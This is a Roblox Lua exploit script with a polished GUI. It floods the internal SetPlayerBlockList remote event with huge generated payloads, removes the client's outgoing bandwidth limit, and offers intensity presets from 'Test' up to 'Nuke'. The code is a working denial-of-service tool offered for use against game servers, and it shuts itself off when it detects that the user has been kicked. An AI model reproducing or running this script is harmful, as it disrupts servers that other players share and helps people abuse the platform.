-- ═════════════════════════════════════════════════════════════ -- snowtail spam.lua v3.1 — safe bandwidth edition -- SetPlayerBlockList flooder (standalone) -- ═════════════════════════════════════════════════════════════ local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local TweenService = game:GetService("TweenService") local LP = Players.LocalPlayer local SESSION = tostring(math.floor(tick() * 1000)) .. "_" .. tostring(math.random(1000, 9999)) -- ─── theme ────────────────────────────────────────────────── local Theme = { Bg = Color3.fromRGB(245, 245, 250), BgTrans = 0.20, Element = Color3.fromRGB(255, 255, 255), ElementTrans = 0.55, Border = Color3.fromRGB(210, 210, 220), BorderTrans = 0.5, Accent = Color3.fromRGB(90, 130, 240), Text = Color3.fromRGB(30, 30, 40), TextDim = Color3.fromRGB(120, 120, 135), Red = Color3.fromRGB(255, 95, 86), RedHover = Color3.fromRGB(255, 130, 122), Yellow = Color3.fromRGB(255, 189, 46), YellowHover = Color3.fromRGB(255, 210, 100), Green = Color3.fromRGB(39, 201, 63), GreenHover = Color3.fromRGB(80, 220, 100), } local FONT = Enum.Font.Gotham local FONTB = Enum.Font.GothamBold local CORNER_MAIN = 20 local CORNER_ELEMENT = 10 local Instances, Connections = {}, {} local function track(i) table.insert(Instances, i); return i end local function conn(c) table.insert(Connections, c); return c end local function newCorner(p, r) local c = Instance.new("UICorner"); c.CornerRadius = UDim.new(0, r or CORNER_ELEMENT); c.Parent = p; return c end local function newStroke(p, t) local s = Instance.new("UIStroke") s.Color = Theme.Border; s.Thickness = t or 1 s.Transparency = Theme.BorderTrans s.ApplyStrokeMode = Enum.ApplyStrokeMode.Border s.Parent = p; return s end local function smooth(i, p, d) return TweenService:Create(i, TweenInfo.new(d or 0.2, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), p) end -- ─── spam state ───────────────────────────────────────────── local Spam = { Enabled = false, Running = false, Building = false, FireBurst = 1, FrameDelay = 0.1, Children = 20000, NestedPerChild = 0, FieldsPerChild = 1, FieldSize = 0, RebuildEach = false, FireCount = 0, Remote = nil, Cache = nil, Thread = nil, Pad = "", SessionStart = nil, NullSince = nil, LastResult = nil, } pcall(function() game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge) end) local function resolveRemote() local rrs = game:FindFirstChild("RobloxReplicatedStorage") if not rrs then return nil end local r = rrs:FindFirstChild("SetPlayerBlockList") if r and (r:IsA("RemoteEvent") or r:IsA("UnreliableRemoteEvent")) then return r end return nil end Spam.Remote = resolveRemote() local function rebuildPad() Spam.Pad = Spam.FieldSize > 0 and string.rep("P", Spam.FieldSize) or "" end rebuildPad() local function buildPayload() local n = Spam.Children local fields = Spam.FieldsPerChild local nested = Spam.NestedPerChild local pad = Spam.Pad or "" local usePad = Spam.FieldSize > 0 local root = table.create(n) for i = 1, n do local entry = { id = i, v = i * 2 } for k = 1, fields do entry["k" .. k] = usePad and pad or (i + k) end for j = 1, nested do entry["n" .. j] = { a = i, b = j } end root[i] = entry end return root end local function fireN(remote, payload, n) for i = 1, n do remote:FireServer(payload) end end local worker worker = function() while Spam.Running do if not Spam.Remote then Spam.Remote = resolveRemote() end local cache = Spam.Cache local remote = Spam.Remote if remote and cache then local n = Spam.FireBurst local ok = pcall(fireN, remote, cache, n) if ok then Spam.FireCount = Spam.FireCount + n else Spam.Remote = nil end end if Spam.FrameDelay > 0 then task.wait(Spam.FrameDelay) else RunService.Heartbeat:Wait() end end end local function ensureCacheThenStart() if Spam.Building then return end if Spam.Cache then Spam.Enabled = true if not Spam.Running then Spam.Running = true Spam.SessionStart = tick() Spam.LastResult = nil Spam.Thread = task.spawn(worker) end return end Spam.Building = true Spam.Enabled = true task.spawn(function() local snapC, snapN, snapF, snapS = Spam.Children, Spam.NestedPerChild, Spam.FieldsPerChild, Spam.FieldSize rebuildPad() local ok, payload = pcall(buildPayload) Spam.Building = false if not ok or not payload then Spam.Enabled = false; return end if not Spam.Enabled then return end if Spam.Children ~= snapC or Spam.NestedPerChild ~= snapN or Spam.FieldsPerChild ~= snapF or Spam.FieldSize ~= snapS then ensureCacheThenStart(); return end Spam.Cache = payload if not Spam.Running then Spam.Running = true Spam.SessionStart = tick() Spam.LastResult = nil Spam.Thread = task.spawn(worker) end end) end local function stopSpam() Spam.Enabled = false Spam.Running = false Spam.Thread = nil end -- ─── gui ──────────────────────────────────────────────────── local W = 300 local H_BASE = 400 local H_ADV = 660 local SG = Instance.new("ScreenGui") SG.Name = "SnowtailSpam_" .. SESSION SG.ResetOnSpawn = false SG.IgnoreGuiInset = true SG.ZIndexBehavior = Enum.ZIndexBehavior.Sibling SG.DisplayOrder = 1001 SG.Parent = LP:WaitForChild("PlayerGui") track(SG) local Frame = Instance.new("Frame") Frame.Size = UDim2.new(0, W, 0, H_BASE) Frame.Position = UDim2.new(0.5, -W/2, 0.5, -H_BASE/2) Frame.BackgroundColor3 = Theme.Bg Frame.BackgroundTransparency = Theme.BgTrans Frame.BorderSizePixel = 0 Frame.Active = true Frame.ClipsDescendants = true Frame.Parent = SG track(Frame) newCorner(Frame, CORNER_MAIN) newStroke(Frame) -- header local Header = Instance.new("Frame") Header.Size = UDim2.new(1, 0, 0, 44) Header.BackgroundColor3 = Theme.Bg Header.BackgroundTransparency = 0.3 Header.BorderSizePixel = 0 Header.Parent = Frame track(Header) newCorner(Header, CORNER_MAIN) local Title = Instance.new("TextLabel") Title.Size = UDim2.new(1, -100, 1, 0) Title.Position = UDim2.new(0, 88, 0, 0) Title.BackgroundTransparency = 1 Title.Text = "spam.lua" Title.TextColor3 = Theme.Text Title.Font = FONTB Title.TextSize = 15 Title.TextXAlignment = Enum.TextXAlignment.Left Title.Parent = Header track(Title) local Dots = Instance.new("Frame") Dots.Size = UDim2.new(0, 72, 1, 0) Dots.Position = UDim2.new(0, 16, 0, 0) Dots.BackgroundTransparency = 1 Dots.Parent = Header track(Dots) local function makeDot(x, col, hov) local d = Instance.new("TextButton") d.Size = UDim2.new(0, 12, 0, 12) d.Position = UDim2.new(0, x, 0.5, -6) d.BackgroundColor3 = col d.BorderSizePixel = 0 d.Text = "" d.AutoButtonColor = false d.Parent = Dots track(d) newCorner(d, 6) conn(d.MouseEnter:Connect(function() d.BackgroundColor3 = hov end)) conn(d.MouseLeave:Connect(function() d.BackgroundColor3 = col end)) return d end local RedDot = makeDot(0, Theme.Red, Theme.RedHover) local YellowDot = makeDot(20, Theme.Yellow, Theme.YellowHover) local GreenDot = makeDot(40, Theme.Green, Theme.GreenHover) -- body local Body = Instance.new("Frame") Body.Size = UDim2.new(1, -24, 1, -60) Body.Position = UDim2.new(0, 12, 0, 52) Body.BackgroundTransparency = 1 Body.Parent = Frame track(Body) local BodyLayout = Instance.new("UIListLayout") BodyLayout.Padding = UDim.new(0, 8) BodyLayout.Parent = Body track(BodyLayout) -- enable button local EnableBtn = Instance.new("TextButton") EnableBtn.Size = UDim2.new(1, 0, 0, 48) EnableBtn.BackgroundColor3 = Theme.Accent EnableBtn.BackgroundTransparency = 0.15 EnableBtn.BorderSizePixel = 0 EnableBtn.Text = "ENABLE SPAM" EnableBtn.TextColor3 = Color3.fromRGB(255, 255, 255) EnableBtn.Font = FONTB EnableBtn.TextSize = 14 EnableBtn.AutoButtonColor = false EnableBtn.Parent = Body track(EnableBtn) newCorner(EnableBtn, CORNER_ELEMENT) conn(EnableBtn.MouseButton1Click:Connect(function() if Spam.Enabled then stopSpam() else ensureCacheThenStart() end end)) -- preset row (label) local PresetLabel = Instance.new("TextLabel") PresetLabel.Size = UDim2.new(1, 0, 0, 14) PresetLabel.BackgroundTransparency = 1 PresetLabel.Text = "PRESETS" PresetLabel.TextColor3 = Theme.TextDim PresetLabel.Font = FONTB PresetLabel.TextSize = 10 PresetLabel.TextXAlignment = Enum.TextXAlignment.Left PresetLabel.Parent = Body track(PresetLabel) local PresetRow = Instance.new("Frame") PresetRow.Size = UDim2.new(1, 0, 0, 36) PresetRow.BackgroundTransparency = 1 PresetRow.Parent = Body track(PresetRow) local PresetLayout = Instance.new("UIListLayout") PresetLayout.FillDirection = Enum.FillDirection.Horizontal PresetLayout.Padding = UDim.new(0, 4) PresetLayout.Parent = PresetRow track(PresetLayout) -- c=children, b=burst, d=delay, f=fieldSize -- tuned to stay under ~20 MB/s (your original working rate was ~19 MB/s) local Presets = { { name = "Test", c = 5000, b = 1, d = 0.2, f = 0 }, { name = "Safe", c = 20000, b = 1, d = 0.1, f = 0 }, { name = "Aggr", c = 40000, b = 1, d = 0.05, f = 0 }, { name = "Nuke", c = 80000, b = 1, d = 0.033, f = 0 }, } -- slider factory local function makeSlider(parent, label, minV, maxV, default, onChange, step, fmt) step = step or 1 fmt = fmt or function(v) return tostring(math.floor(v)) end local row = Instance.new("Frame") row.Size = UDim2.new(1, 0, 0, 52) row.BackgroundColor3 = Theme.Element row.BackgroundTransparency = Theme.ElementTrans row.BorderSizePixel = 0 row.Parent = parent track(row) newCorner(row, CORNER_ELEMENT); newStroke(row) local lbl = Instance.new("TextLabel") lbl.Size = UDim2.new(1, -80, 0, 22) lbl.Position = UDim2.new(0, 12, 0, 6) lbl.BackgroundTransparency = 1 lbl.Text = label lbl.TextColor3 = Theme.Text lbl.Font = FONT; lbl.TextSize = 12 lbl.TextXAlignment = Enum.TextXAlignment.Left lbl.Parent = row track(lbl) local valLbl = Instance.new("TextLabel") valLbl.Size = UDim2.new(0, 70, 0, 22) valLbl.Position = UDim2.new(1, -82, 0, 6) valLbl.BackgroundTransparency = 1 valLbl.Text = fmt(default) valLbl.TextColor3 = Theme.Accent valLbl.Font = FONTB; valLbl.TextSize = 11 valLbl.TextXAlignment = Enum.TextXAlignment.Right valLbl.Parent = row track(valLbl) local trackBar = Instance.new("Frame") trackBar.Size = UDim2.new(1, -24, 0, 4) trackBar.Position = UDim2.new(0, 12, 1, -14) trackBar.BackgroundColor3 = Theme.Border trackBar.BorderSizePixel = 0 trackBar.Parent = row track(trackBar) newCorner(trackBar, 2) local fill = Instance.new("Frame") fill.Size = UDim2.new((default - minV) / (maxV - minV), 0, 1, 0) fill.BackgroundColor3 = Theme.Accent fill.BorderSizePixel = 0 fill.Parent = trackBar track(fill) newCorner(fill, 2) local knob = Instance.new("Frame") knob.Size = UDim2.new(0, 12, 0, 12) knob.Position = UDim2.new((default - minV) / (maxV - minV), -6, 0.5, -6) knob.BackgroundColor3 = Color3.fromRGB(255, 255, 255) knob.BorderSizePixel = 0 knob.Parent = trackBar track(knob) newCorner(knob, 6) local clickArea = Instance.new("TextButton") clickArea.Size = UDim2.new(1, 0, 0, 20) clickArea.Position = UDim2.new(0, 0, 1, -20) clickArea.BackgroundTransparency = 1 clickArea.Text = "" clickArea.Parent = row track(clickArea) local curVal = default local dragging = false local function setFromValue(v, silent) curVal = math.clamp(v, minV, maxV) if step > 0 then curVal = math.floor(curVal / step + 0.5) * step end local pct = (curVal - minV) / (maxV - minV) fill.Size = UDim2.new(pct, 0, 1, 0) knob.Position = UDim2.new(pct, -6, 0.5, -6) valLbl.Text = fmt(curVal) if not silent and onChange then onChange(curVal) end end local function setFromX(x) local rel = math.clamp((x - trackBar.AbsolutePosition.X) / trackBar.AbsoluteSize.X, 0, 1) setFromValue(minV + rel * (maxV - minV)) end conn(clickArea.MouseButton1Down:Connect(function() dragging = true setFromX(UserInputService:GetMouseLocation().X) end)) conn(UserInputService.InputChanged:Connect(function(input) if dragging and input.UserInputType == Enum.UserInputType.MouseMovement then setFromX(input.Position.X) end end)) conn(UserInputService.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragging = false end end)) return { Set = function(v, silent) setFromValue(v, silent) end, Get = function() return curVal end, } end -- main sliders local Sliders = {} Sliders.Burst = makeSlider(Body, "Fires Per Tick", 1, 30, Spam.FireBurst, function(v) Spam.FireBurst = math.floor(v) end, 1, function(v) return tostring(math.floor(v)) end) Sliders.Delay = makeSlider(Body, "Frame Delay", 0, 1, Spam.FrameDelay, function(v) Spam.FrameDelay = v < 0.005 and 0 or v end, 0.01, function(v) if v < 0.01 then return "MAX" end return string.format("%.2fs", v) end) Sliders.FieldSize = makeSlider(Body, "Field Size (bytes)", 0, 5000, Spam.FieldSize, function(v) Spam.FieldSize = math.floor(v) rebuildPad() Spam.Cache = nil if Spam.Enabled then ensureCacheThenStart() end end, 50, function(v) local n = math.floor(v) if n == 0 then return "off" end if n >= 1000 then return string.format("%.1fK", n / 1000) end return tostring(n) end) -- build preset buttons for _, p in ipairs(Presets) do local b = Instance.new("TextButton") b.Size = UDim2.new((W - 24 - 12) / 4, 0, 1, 0) b.BackgroundColor3 = Theme.Element b.BackgroundTransparency = 0.4 b.BorderSizePixel = 0 b.Text = p.name b.TextColor3 = Theme.Text b.Font = FONTB; b.TextSize = 11 b.AutoButtonColor = false b.Parent = PresetRow track(b) newCorner(b, CORNER_ELEMENT) newStroke(b, 1) conn(b.MouseEnter:Connect(function() smooth(b, {BackgroundTransparency=0.15}, 0.15):Play() end)) conn(b.MouseLeave:Connect(function() smooth(b, {BackgroundTransparency=0.4}, 0.15):Play() end)) conn(b.MouseButton1Click:Connect(function() Spam.Children = p.c Spam.FireBurst = p.b Spam.FrameDelay = p.d Spam.FieldSize = p.f rebuildPad() Sliders.Burst.Set(p.b, true) Sliders.Delay.Set(p.d, true) Sliders.FieldSize.Set(p.f, true) Spam.Cache = nil if Spam.Enabled then ensureCacheThenStart() end end)) end -- status row local StatusRow = Instance.new("Frame") StatusRow.Size = UDim2.new(1, 0, 0, 28) StatusRow.BackgroundColor3 = Theme.Element StatusRow.BackgroundTransparency = Theme.ElementTrans StatusRow.BorderSizePixel = 0 StatusRow.Parent = Body track(StatusRow) newCorner(StatusRow, CORNER_ELEMENT); newStroke(StatusRow) local StatusLbl = Instance.new("TextLabel") StatusLbl.Size = UDim2.new(0.45, -6, 1, 0) StatusLbl.Position = UDim2.new(0, 12, 0, 0) StatusLbl.BackgroundTransparency = 1 StatusLbl.Text = "idle" StatusLbl.TextColor3 = Theme.TextDim StatusLbl.Font = FONT; StatusLbl.TextSize = 10 StatusLbl.TextXAlignment = Enum.TextXAlignment.Left StatusLbl.Parent = StatusRow track(StatusLbl) local RateLbl = Instance.new("TextLabel") RateLbl.Size = UDim2.new(0.3, 0, 1, 0) RateLbl.Position = UDim2.new(0.45, 0, 0, 0) RateLbl.BackgroundTransparency = 1 RateLbl.Text = "0/s" RateLbl.TextColor3 = Theme.Accent RateLbl.Font = FONTB; RateLbl.TextSize = 10 RateLbl.TextXAlignment = Enum.TextXAlignment.Center RateLbl.Parent = StatusRow track(RateLbl) local FPSLbl = Instance.new("TextLabel") FPSLbl.Size = UDim2.new(0.25, -12, 1, 0) FPSLbl.Position = UDim2.new(0.75, 0, 0, 0) FPSLbl.BackgroundTransparency = 1 FPSLbl.Text = "60 fps" FPSLbl.TextColor3 = Theme.Green FPSLbl.Font = FONTB; FPSLbl.TextSize = 10 FPSLbl.TextXAlignment = Enum.TextXAlignment.Right FPSLbl.Parent = StatusRow track(FPSLbl) -- bandwidth estimate row local BWRow = Instance.new("Frame") BWRow.Size = UDim2.new(1, 0, 0, 22) BWRow.BackgroundColor3 = Theme.Element BWRow.BackgroundTransparency = 0.7 BWRow.BorderSizePixel = 0 BWRow.Parent = Body track(BWRow) newCorner(BWRow, CORNER_ELEMENT); newStroke(BWRow) local BWLbl = Instance.new("TextLabel") BWLbl.Size = UDim2.new(1, -20, 1, 0) BWLbl.Position = UDim2.new(0, 10, 0, 0) BWLbl.BackgroundTransparency = 1 BWLbl.Text = "est. 0 MB/s · 0 children/s" BWLbl.TextColor3 = Theme.TextDim BWLbl.Font = FONT BWLbl.TextSize = 10 BWLbl.TextXAlignment = Enum.TextXAlignment.Left BWLbl.Parent = BWRow track(BWLbl) -- advanced section local Advanced = Instance.new("Frame") Advanced.Size = UDim2.new(1, 0, 0, 0) Advanced.AutomaticSize = Enum.AutomaticSize.Y Advanced.BackgroundTransparency = 1 Advanced.Visible = false Advanced.Parent = Body track(Advanced) local AdvLayout = Instance.new("UIListLayout") AdvLayout.Padding = UDim.new(0, 6) AdvLayout.Parent = Advanced track(AdvLayout) local AdvChildren = makeSlider(Advanced, "Payload Children", 1000, 500000, Spam.Children, function(v) Spam.Children = math.floor(v) Spam.Cache = nil if Spam.Enabled then ensureCacheThenStart() end end, 1000, function(v) return tostring(math.floor(v)) end) local AdvFields = makeSlider(Advanced, "Fields Per Child", 0, 10, Spam.FieldsPerChild, function(v) Spam.FieldsPerChild = math.floor(v) Spam.Cache = nil if Spam.Enabled then ensureCacheThenStart() end end, 1, function(v) return tostring(math.floor(v)) end) local AdvNested = makeSlider(Advanced, "Nested Per Child", 0, 10, Spam.NestedPerChild, function(v) Spam.NestedPerChild = math.floor(v) Spam.Cache = nil if Spam.Enabled then ensureCacheThenStart() end end, 1, function(v) return tostring(math.floor(v)) end) local function refreshEnableBtn() if Spam.Enabled then EnableBtn.Text = Spam.Building and "BUILDING..." or "STOP SPAM" EnableBtn.BackgroundColor3 = Spam.Building and Theme.Yellow or Theme.Red else EnableBtn.Text = "ENABLE SPAM" EnableBtn.BackgroundColor3 = Theme.Accent end end -- live metrics: 1 Hz local fpsFrames = 0 conn(RunService.RenderStepped:Connect(function() fpsFrames = fpsFrames + 1 end)) -- rough payload byte estimate (server-side serialized size) local function estPayloadBytes() local perChild = 16 if Spam.FieldSize > 0 then perChild = perChild + Spam.FieldSize * Spam.FieldsPerChild else perChild = perChild + 8 * Spam.FieldsPerChild end perChild = perChild + Spam.NestedPerChild * 24 return math.floor(perChild * 1.3 * Spam.Children) end local lastCount, lastTime = 0, tick() conn(RunService.Heartbeat:Connect(function() local now = tick() if now - lastTime >= 1 then local fps = math.floor(fpsFrames / (now - lastTime)) local rate = math.floor((Spam.FireCount - lastCount) / (now - lastTime)) fpsFrames = 0 lastCount = Spam.FireCount lastTime = now FPSLbl.Text = fps .. " fps" FPSLbl.TextColor3 = fps >= 45 and Theme.Green or (fps >= 25 and Theme.Yellow or Theme.Red) RateLbl.Text = rate .. "/s" if Spam.Building then StatusLbl.Text = "building..." StatusLbl.TextColor3 = Theme.Yellow elseif Spam.Enabled then if not Spam.Remote then StatusLbl.Text = "no remote" StatusLbl.TextColor3 = Theme.Red else local elapsed = Spam.SessionStart and (now - Spam.SessionStart) or 0 StatusLbl.Text = string.format("%.0fs · %d fired", elapsed, Spam.FireCount) StatusLbl.TextColor3 = Theme.Green end else if Spam.LastResult then StatusLbl.Text = Spam.LastResult StatusLbl.TextColor3 = Theme.Yellow else StatusLbl.Text = "idle" StatusLbl.TextColor3 = Theme.TextDim end end -- auto-stop if likely kicked (character null for >5s while enabled) if Spam.Enabled and not LP.Character then if not Spam.NullSince then Spam.NullSince = now elseif now - Spam.NullSince > 5 then stopSpam() Spam.LastResult = string.format("stopped @ %.1fs (possible kick)", now - (Spam.SessionStart or now)) Spam.NullSince = nil end else Spam.NullSince = nil end local payloadBytes = estPayloadBytes() local mbPerSec = (payloadBytes * rate) / (1024 * 1024) local childrenPerSec = Spam.Children * rate if mbPerSec >= 1024 then BWLbl.Text = string.format("est. %.2f GB/s · %.1fM children/s", mbPerSec / 1024, childrenPerSec / 1e6) else BWLbl.Text = string.format("est. %.1f MB/s · %.1fM children/s", mbPerSec, childrenPerSec / 1e6) end BWLbl.TextColor3 = mbPerSec > 500 and Theme.Red or (mbPerSec > 100 and Theme.Yellow or Theme.TextDim) refreshEnableBtn() end end)) -- ─── window controls ──────────────────────────────────────── local minimized = false do local dragging, dragStart, startPos conn(Header.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then for _, d in ipairs({RedDot, YellowDot, GreenDot}) do local ap, as = d.AbsolutePosition, d.AbsoluteSize if input.Position.X >= ap.X and input.Position.X <= ap.X + as.X and input.Position.Y >= ap.Y and input.Position.Y <= ap.Y + as.Y then return end end dragging = true; dragStart = input.Position; startPos = Frame.Position end end)) conn(Header.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = false end end)) conn(UserInputService.InputChanged:Connect(function(input) if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then local d = input.Position - dragStart Frame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + d.X, startPos.Y.Scale, startPos.Y.Offset + d.Y) end end)) end conn(YellowDot.MouseButton1Click:Connect(function() minimized = not minimized Body.Visible = not minimized local h = minimized and 44 or (Advanced.Visible and H_ADV or H_BASE) smooth(Frame, {Size = UDim2.new(0, W, 0, h)}, 0.25):Play() end)) conn(GreenDot.MouseButton1Click:Connect(function() if minimized then return end Advanced.Visible = not Advanced.Visible local h = Advanced.Visible and H_ADV or H_BASE smooth(Frame, {Size = UDim2.new(0, W, 0, h)}, 0.25):Play() end)) local function unload() stopSpam() for _, c in ipairs(Connections) do pcall(function() c:Disconnect() end) end for _, i in ipairs(Instances) do pcall(function() i:Destroy() end) end pcall(function() SG:Destroy() end) if getgenv().SnowtailSpamUnload then getgenv().SnowtailSpamUnload = nil end end getgenv().SnowtailSpamUnload = unload conn(RedDot.MouseButton1Click:Connect(unload))